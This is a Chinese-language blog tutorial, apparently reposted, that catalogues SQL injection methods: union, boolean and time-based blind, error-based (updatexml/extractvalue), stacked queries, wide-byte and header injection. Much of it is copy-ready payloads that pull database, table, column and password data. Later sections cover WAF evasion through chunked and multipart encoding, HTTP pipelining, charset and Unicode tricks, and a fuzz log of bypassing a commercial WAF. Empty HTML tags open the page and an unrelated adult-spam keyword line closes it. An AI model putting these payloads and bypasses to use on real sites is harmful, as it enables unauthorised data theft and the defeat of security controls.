<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    深度技術研究之SQL注入總結

    VSole2021-09-19 15:16:57

    關注一波,謝謝各位師傅

    感謝ch1e師傅幫忙總結
    ch1e‘blog:https://ch1e.gitee.io/

    基本的sql語句

    查詢:SELECT statement FROM table WHERE condition刪除記錄:DELETE FROM table WHERE condition更新記錄:UPDATE table SET field=value WHERE condtion添加記錄:INSERT INTO table field VALUES(values)
    

    sql注入類型

    最基礎的注入-union注入攻擊

    Boolean注入攻擊-布爾盲注

    時間注入攻擊-時間盲注

    報錯注入攻擊

    堆疊查詢注入攻擊

    二次注入攻擊

    寬字節注入攻擊

    頭部注入

    最基礎的注入-union注入攻擊

    1.首先判斷是GET類型還是POST類型的注入

    2.尋找出他后端的閉合規則

    3.使用order by或者group by來判斷有幾個字段

    order by是mysql中對查詢數據進行排序的方法

    select * from 表名 order by 列名(或者數字) asc;升序(默認升序)

    select * from 表名 order by 列名(或者數字) desc;降序

    我們可以通過對order by 后面輸入的數字不同來判斷出他有幾個字段

    一般食用方法:若order by x與 order by x+1回顯不一樣,則有x個字段

    4.使用union select 1,2,3,4,….有幾個字段就寫幾個,例如五個字段就是select 1,2,3,4,5

    判斷哪個位置有回顯,我們就在有回顯的位置進行查詢

    5.例如有仨個字段,2,3位置有回顯,我們就可以把2,3位置上替換成database(),user(),version()等有利于我們收集信息的函數。

    6.知道了我們當前的數據庫以后我們就需要查詢該數據庫的下的表的內容。

    union select 1,group_concat(table_name) from information_schema.tables where table_schema=”database()”,3
    

    這段sql語句的 作用是,從information_schema.tables表下面查詢數據庫名稱為database()下的表的表名

    7.查詢到了當前數據庫以及當前數據庫下的表,接下來就是要對表中的字段進行查詢,這里里user表為例

    union select 1,group_concat(column_name)from information_schema.columns where table_name=”user”,3
    

    這句sql語句的意思是從information_schema.columns表中查詢user表的字段名

    8.查詢到字段名以后,這里以字段名username和passwd為例

    union select 1,username,passwd from user;
    

    這句sql語句的意思是從user中查詢username和passwd的字段值

    Boolean注入攻擊-布爾盲注

    前言:

    一些情況下,由于開發者屏蔽了報錯信息,導致攻擊者無法通過報錯信息來進行注入的判斷。

    這種情況下的注入稱之為盲注,布爾盲注是基于真假的判斷,不論輸入的是什么,都只會返回true或者false

    布爾盲注的關鍵在于通過表達式結果與已知值進行比對,根據比對結果判斷正確與否

    布爾盲注的判斷方式

    通過長度判斷length():length(database())>=x

    通過字符判斷substr():substr(database(),1,1) =’x’

    通過ascII碼判斷:ascii():ascii(substr(database(),1,1)) =x

    布爾盲注的實現

    1.首先我們應該找到sql語句的閉合規則,這里以普通的單引號為例

    2.布爾盲注要用到length()和substr()語句,用兩種狀態來猜解數據庫、表名等的長度和正確字母

    3.首先需要我們來猜數據庫的長度,使用的是二分法;一次一次的判斷,更改數據庫的長度,根據返回的

    true或者false來得到正確的數據庫長度

    id=1' and length(database())>=1 --+
    

    4.其次,得到了正確的數據庫長度以后我們需要來得到他的數據庫名,這里手工注入太麻煩我們也可以選擇使用burpsuite來幫助我們進行注入,Burpsuite的具體使用先暫不介紹;

    substr()函數是用來截取數據庫某個字段的一部分,有三個參數,第一個是數據庫中需要截取的字段

    第二個是從第幾個開始,第三個字段是截取的數目,所以下面的sql語句是截取database()字段從第一個開始,截取一個字符,然后再使用Burpsuite或者Python來跑出完整的數據庫名即可

    id=1'and substr(database(),1,1)='a' --+
    

    5.得到了數據庫名,我們還要得到該數據庫下的表;具體原理相似,只是把union聯合查詢注入中的查詢語句放入到了函數中,把查詢出來的數據作為我們函數的參數,這里就不再多做介紹

    id=1' and substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1)='a'--+
    

    6.得到數據庫表以后,我們要獲取數據庫字段名

    id=1' and substr((select column_name from information_schema.columns where table_schema='test' and table_name='users' limit 0,1),1,1)='a'--+
    

    7.查詢出數據庫字段名以后,我們需要獲取具體的數據

    id=1' and substr((select username from test.users limit 0,1),1,1)='a'--+
    

    補充

    length() 函數 返回字符串的長度
    substr() 截取字符串 (語法:SUBSTR(str,pos,len);)
    如:substr或substring(database(),1,1) 截取出:數據庫名,第一位開始, 截取一位。
    ascii() 返回字符的ascii碼  [將字符變為數字]
    sleep() 將程序掛起一段時間n為n秒,被禁可用benchmark()代替,同效。
    if(expr1,expr2,expr3) 判斷語句 如果第一個語句正確就執行第二個語句如 果錯誤執行第三個語句

    報錯注入

    常用函數

    floor();updatexml();ExtractValue();

    updatexml()函數

    updatexml()是一個使用不同的xml標記匹配和替換xml塊的函數。

    作用:改變文檔中符合條件的節點的值

    語法:updatexml(XML_document,XPath_string,new_value) 第一個參數:是string格式,為XML文檔對象的名稱,文中為Doc 第二個參數:代表路徑,Xpath格式的字符串例如//title【@lang】 第三個參數:string格式,替換查找到的符合條件的數據

    updatexml使用時,當xpath_string格式出現錯誤,mysql則會爆出xpath語法錯誤(xpath syntax)

    例如:

    select * from test where ide = 1 and (updatexml(1,0x7e,3));
    

    由于0x7e是~,不屬于xpath語法格式,因此報出xpath語法錯誤。

    extractvalue()函數

    此函數從目標XML中返回包含所查詢值的字符串 語法:extractvalue(XML_document,xpath_string)第一個參數:string格式,為XML文檔對象的名稱 第二個參數:xpath_string(xpath格式的字符串)

     select *from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
    

    extractvalue使用時當xpath_string格式出現錯誤,mysql則會爆出xpath語法錯誤(xpath syntax)

    select user,password from users where user_id=1 and (extractvalue(1,0x7e));
    

    由于0x7e就是~不屬于xpath語法格式,因此報出xpath語法錯誤。

    ###報錯注入的利用方式

    這里就不具體介紹了,只需要使用payload,把執行語句替換就可以了

    查數據庫名:id='and(select extractvalue(1,concat(0x7e,(select database()))))爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))爆數據:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))
    函數  利用方法floor()  select count (*) from information _schema.tables group by concat ((此處加入執行語句),0x7e,floor (rand (0)*2));extractvalue()  extractvalue (1,concat (0x7e,(此處加入執行語句),0x7e));updatexml()  select updatexml (1,concat (0x7e,(此處加入執行語句),0x7e),1);
    

    延時注入

    延時注入介紹

    利用sleep()或benchmark()等函數讓mysql執行時間變長經常與if(expr1,expr2,expr3)語句結合使用,通過頁面的響應時間來判斷條件是否正確。if(expr1,expr2,expr3)含義是如果expr1是True,則返回expr2,否則返回expr3。

    其實時間盲注和布爾盲注原理相似,只是利用sleep()等函數使執行時間變成來判斷條件的正確,這里不再過多介紹,直接上Payload

    payload:

    爆數據庫名長度**' and if(length(database())>=8,sleep(5),1)#爆數據庫:**' and if(substr(database(),1,1)='p',sleep(5),null) #爆數據表:**' and if((substr(select table_name from information_schema.tables where table_schema='pikachu' limit 1,1),1,1))='a',sleep(5),null) #爆數據列:**' and if((substr(select column_name from information_schema.columns  where table_name='users' limit 1,1),1,1))='a',sleep(5),null) #爆數據信息:**' and if((substr((select password from users limit 0,1),1,1))='a',sleep(5),null)#
    

    注意:一般注入時,猜錯的幾率大,所以在猜對了的時候讓頁面sleep()

    堆疊查詢注入

    原理介紹

    SQL中,分號是用來表示一條sql語句的結束,我們可以在一條語句的結束后的;后繼續構造下一條語句,會一起被執行,所以這就造成了堆疊注入,堆疊注入和union 聯合查詢注入都是把兩條語句合并在一起,兩者之間的區別在于union 執行的語句是有限的,而堆疊注入可以執行任意的語句

    堆疊注入的實現

    正常sql語句:

    Select * from users where id=’1’’;
    

    注入sql語句:

    Select * from users where id=’1’;select if(length(database())>5,sleep(5),1) #
    

    我們通過上面的比較可以看出,正常sql語句和注入sql語句的不同就在于sql注入語句后還有一條sql語句,是一條時間盲注的語句,所以我們只需要在正常的查詢語句后面加上我們其他注入的方法就好了(個人理解,如果有錯誤歡迎各位大佬指正),因此payload的構造就是在正常輸入后加上一個分號,然后加上其他類型的sql注入語句即可

    (P.S:男上加男)

     寬字節注入

    涉及到的基本概念

    字符、字符集

    字符(character)是組成字符集(character set)的基本單位。對字符賦予一個數值(encoding)來確定這個字符在該字符集中的位置。

    UTF8

    由于ASCII表示的字符只有128個,因此網絡世界的規范是使用UNICODE編碼,但是用ASCII表示的字符使用UNICODE并不高效。因此出現了中間格式字符集,被稱為通用轉換格式,及UTF(Universal Transformation Format)。

    寬字節

    GB2312、GBK、GB18030、BIG5、Shift_JIS等這些都是常說的寬字節,實際上只有兩字節。寬字節帶來的安全問題主要是吃ASCII字符(一字節)的現象,即將兩個ascii字符誤認為是一個寬字節字符。

    ###寬字節注入原理

    GBK 占用兩字節

    ASCII占用一字節

    PHP中編碼為GBK,函數執行添加的是ASCII編碼(添加的符號為“\”),MYSQL默認字符集是GBK等寬字節字符集。

    大家都知道%df’ 被PHP轉義(開啟GPC、用addslashes函數,或者icov等),單引號被加上反斜杠\,變成了 %df\’,其中\的十六進制是 %5C ,那么現在 %df\’ =%df%5c%27,如果程序的默認字符集是GBK等寬字節字符集,則MySQL用GBK的編碼時,會認為 %df%5c 是一個寬字符,也就是縗,也就是說:

    %df\’ = %df%5c%27=縗’
    

    ,有了單引號就好注入了。

    例子:

    http://127.0.0.1/Less-32/?id=1%df'('瀏覽器自動進行url編碼%27)根據以上分析,發生如下轉換:%df%27====>(check_addslashes)====>%df%5c%27====>(GBK)====>運'MySQL執行的語句為:$sql="SELECT * FROM users WHERE id='1運'' LIMIT 0,1";成功將單引號閉合,可以進行SQL注入
    

    頭部注入

    Head注入總結:

    區別只是注入位置不同: 

    Cookie、ua頭(User-Agent)、referrer、(可以手動添加)X-Forwarded-For:

    主要利用:報錯注入

    繞過總結

    原句:RLIKE (SELECT (CASE WHEN (41=41) THEN 1 ELSE 0x28 END))
    

    RLIKE:正則匹配 

    select "11111112222123333" rlike ".*12.*";select "11111112222123333" rlike  "^12"  ;
    

    類似于 LIKE 

    CASE:  

    case when sex = '1' then '男'when sex = '2' then '女'
       else '其他' end //
    

    值為1返回男,為2返回女,else時返回其他

    梳理:提出部分語句:CASE

    WHEN (41=41) THEN 1 ELSE 0x28 END ;
    

     我們知道41=41這是個恒等值,那么這部分語句只會返回1, 此時語句等效于SELECT 1

    那么SELECT 1是什么呢?以下是百度的回答。

    既然SELECT 1的表中只要存有數據一定返回true,而注入的時候一般都是帶入WHERE子句中查詢,so,理論齊了,看下案例

    正常訪問

    那么加入上面提到的過waf注入,看看結果

    正常返回 上面的分析我們知道 這么長的一串其實等效于 RLIKE true ,那么此時可以證明下我們的結論了。

    拓展:當想測試返回頁面為錯誤的時候 只需要更改

    RLIKE (SELECT (CASE WHEN (41=41) THEN 1 ELSE 0x28 END))
    

    中那個恒等的41=41而已,或者可以用 RLIKE true/false來解決waf。

    pipline(隧道傳輸)

    首先聲明,這個方法過不了最新狗,算是有點老的方法

    什么是pipline?看圖


    C代表客戶端;S代表服務器端

    左:普通http請求一個請求包一個響應包

    右:pipline傳輸,多個請求包同時發送,服務器端也返回相應響應包

    姿勢1:

    1Burp的話先關閉repeater中的update content-length

    2修改connection為keep-alive

    3復制數據包粘貼到下面(注意空一行),把污染數據放到后面的包中

    4結果

    這種方法繞過waf的原因是waf攔截到數據包檢測content-length。超出長度部分作為沒用的數據放行了從而達到繞過。

    姿勢2:畸形包

    直接看方式(第二個請求的空格進行url轉碼)

    結果

    邊界傳輸

    這個也沒繞過,滑稽

    什么是邊界傳輸?

    簡單說,一種http傳文件的協議,同時也可以傳數據

    繞過waf原理是waf沒有考慮到這種協議可以傳數據直接當做文件放行了(協議未覆蓋)

    姿勢

    分塊傳輸(“強無敵”)

    什么是分塊傳輸?

    簡單說,一種拆分數據包的方法,能拆成特別變態的樣子

    姿勢

    1添加Transfer-Encoding: chunked

    2拆分臟數據一個長度標識跟著一撮數據,任意拆分,如下圖(空格也是一位)

    3注意:末尾要加“0”同時敲幾個回車,不然會超時

    4結果,繞過

    邊界+分塊,直接上圖

    邊界傳輸的格式也可以拆分

    注意:這部分長度不加參數是19,具體原因待考證、

    邊界+分塊+注釋干擾

    分塊傳輸中可以用分號加載長度標識符后面來作為注釋符,這樣某些waf拼接起來也看不出來什么東西

    charset=ibm500、charset=ibm037編碼繞過

    (待實踐)

    將臟數據進行charset=ibm500或者charset=ibm037編碼

    在content-type后加上charset=xxx


    一個轉換網站


    http://www.haomeili.net/HanZi/BianMaZhuanHuan?ToCode=IBM037
    


    ########

    數據庫特性 :


    注釋:#---- ---+///**//*letmetest*/;%00
    

    科學記數法

    空白字符:

    SQLite3 0A 0D 0C 09 20MySQL5 09 0A 0B 0C 0D A0 20PosgresSQL 0A 0D 0C 09 20Oracle 11g 00 0A 0D 0C 09 20MSSQL01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
    

    +號:

    -號:

    “符號:

    ~號:

    !號:

    @`形式`:

    點號.1:

    單引號雙引號:

    括號select(1):

    花括號:

    這里舉一個云盾的案例,并附上當時fuzz的過程:

    union+select 攔截select+from 不攔截select+from+表名 攔截union(select) 不攔截所以可以不用在乎這個union了。union(select user from ddd) 攔截union(select%0aall) 不攔截union(select%0aall user from ddd) 攔截fuzz下select%0aall與字段之間 + 字段與from之間 + from與表名之間 + 表名與末尾圓括號之間可插入的符號。union(select%0aall{user}from{ddd}) 不攔截
    

    可運用的sql函數&關鍵字:

    MySQL:union distinctunion distinctrowprocedure analyse()updatexml()extracavalue()exp()ceil()atan()sqrt()floor()ceiling()tan()rand()sign()greatest()字符串截取函數Mid(version(),1,1)Substr(version(),1,1)Substring(version(),1,1)Lpad(version(),1,1)Rpad(version(),1,1)Left(version(),1)reverse(right(reverse(version()),1)字符串連接函數concat(version(),'|',user());concat_ws('|',1,2,3)字符轉換Char(49)Hex('a')Unhex(61)過濾了逗號(1)limit處的逗號:limit 1 offset 0(2)字符串截取處的逗號mid處的逗號:mid(version() from 1 for 1)MSSQL:IS_SRVROLEMEMBER()IS_MEMBER()HAS_DBACCESS()convert()col_name()object_id()is_srvrolemember()is_member()字符串截取函數Substring(@@version,1,1)Left(@@version,1)Right(@@version,1)(2)字符串轉換函數Ascii('a') 這里的函數可以在括號之間添加空格的,一些waf過濾不嚴會導致bypassChar('97')exec
    

    Mysql BIGINT數據類型構造溢出型報錯注入:

    BIGINT Overflow Error Based SQL Injection

    容器特性

    %特性:

    asp+iis的環境中,當我們請求的url中存在單一的百分號%時,iis+asp會將其忽略掉,而

    沒特殊要求的waf當然是不會的:

    %u特性:

    iis支持unicode的解析,當我們請求的url存在unicode字符串的話iis會自動將其轉換,但

    waf就不一定了

    這個特性還存在另一個case,就是多個widechar會有可能轉換為同一個字符。

    s%u0065lect->selects%u00f0lect->select
    

    WAF對%u0065會識別出這是e,組合成了select關鍵字,但有可能識別不出%u00f0

    字母a:%u0000%u0041%u0061%u00aa%u00e2單引號:%u0027%u02b9%u02bc%u02c8%u2032%uff07%c0%27%c0%a7%e0%80%a7空白:%u0020%uff00%c0%20%c0%a0%e0%80%a0左括號(:%u0028%uff08%c0%28%c0%a8%e0%80%a8右括號):%u0029%uff09%c0%29%c0%a9%e0%80%a
    

    這個文章的最后一個手法:

    selectsubstr
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    1.注釋符繞過 常用的注釋符有: 1)-- 注釋內容 2)# 注釋內容 3)/*注釋內容*/ eg:union select 1,2# union select 1,2 --+ 構造閉合 ’ union select 1,2’
    CTF或過WAF的sql注入繞過姿勢總結
    實戰oracle注射獲取真實數據,思路和利用過程全記錄!
    SQL注入思路總結
    2022-07-23 22:28:37
    數據庫被惡意操作:數據庫服務器被攻擊,數據庫管理員賬戶被篡改。經由數據庫服務器提供的操作系統支持,讓黑客得以修改或控制操作系統。可能是其他SQL語句 例如insert、update等。需要進行靈活判斷。二次注入在sqilab中第24關可以通過二次注入,重置admin密碼。
    環境搭建1.項目介紹:本次項目模擬滲透測試人員在授權的情況下,對目標進行滲透測試,從外網打點到內網橫向滲透,最終獲取整個內網權限。使用弱口令和暴力破解,沒有爆破出弱口令用戶。
    關于 SQL InjectionSQL Injection 就是通過把惡意的 SQL 命令插入到 Web 表單讓服務器執行,最終達到欺騙服務器或數據庫執行惡意的 SQL 命令。
    一個經過完整而優秀開發的應用一般來說你是看不到錯誤提示的,所以你是沒辦法從Union攻擊和錯誤中提取出數據的 一般盲注,你不能在頁面中看到響應,但是你依然能同個HTTP狀態碼得知查詢的結果 完全盲注,你無論怎么輸入都完全看不到任何變化。你只能通過日志或者其它什么的來注入。雖然不怎么常見。
    實習期間的主要工作是研究 WEB 安全,剛開始的時候,研究的主要是 SQL 注入,因為之前沒有搞過安全,所有費了好長一段時間對 SQL 注入基本知識進行了解。這篇文章并不是什么很深入的技術博客,或許應該叫它‘ SQL注入掃盲 ’。
    id=3';對應的sql:select * from table where id=3' 這時sql語句出錯,程序無法正常從數據庫中查詢出數據,就會拋出異常; 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=1' order by 3# 沒有報錯,說明存在3列爆出數據庫:?id=-1' union select 1,group_concat,3 from information_schema.schemata#爆出數據表:?id=1' and extractvalue--+(爆字段)?
    id=1' order by 3# 沒有報錯,說明存在3列。id=-1' union select 1,group_concat,3 from 數據庫名.數據表名--+拓展一些其他函數:system_user() 系統用戶名。updatexml函數:細節問題:extractvalue()基本一樣,改個關鍵字updatexml即可,與extractvalue有個很大的區別實在末尾注入加上,如:,而extractvalue函數末尾不加1(數值)?
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类